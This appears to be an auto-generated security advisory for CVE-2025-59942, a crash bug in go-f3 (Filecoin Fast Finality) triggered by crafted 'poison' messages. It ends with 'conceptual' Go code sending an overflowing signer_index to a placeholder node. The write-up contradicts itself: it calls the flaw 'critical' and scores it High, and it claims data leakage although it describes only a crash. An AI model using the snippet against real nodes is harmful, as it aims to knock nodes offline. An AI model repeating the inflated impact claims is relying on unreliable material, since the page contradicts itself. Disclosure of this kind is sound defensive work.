Overview
The vulnerability CVE-2025-59942, a critical issue affecting the Golang implementation of Fast Finality for Filecoin (go-f3), has notable implications for Filecoin nodes. This vulnerability is due to a flaw in versions 0.8.6 and below, where ‘poison’ messages can induce a panic in go-f3, leading to potential system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-59942
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage
Affected Products
Product | Affected Versions
go-f3 | 0.8.6 and below
How the Exploit Works
The vulnerability resides in the validation process of go-f3, where a specific type of poison message can cause an integer overflow in the signer index validation. This results in the node crashing. An attacker can exploit this vulnerability by directly sending the poison message to the target, which doesn’t require any user interaction. The message is not self-propagating as the bug lies within the validator.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This pseudocode represents a ‘poison’ message being sent to a node.
package main
import (
"net"
"log"
"fmt"
)
func main() {
conn, err := net.Dial("tcp", "target.node.com:port")
if err != nil {
log.Fatal("Connection failed: ", err.Error())
}
// Crafting the poison message
msg := fmt.Sprintf("{\"signer_index\": %d}", 1<<31)
_, err = conn.Write([]byte(msg))
if err != nil {
log.Fatal("Failed to send poison message: ", err.Error())
}
}This code attempts to connect to the target node and send a crafted poison message that would cause an integer overflow and crash the node.
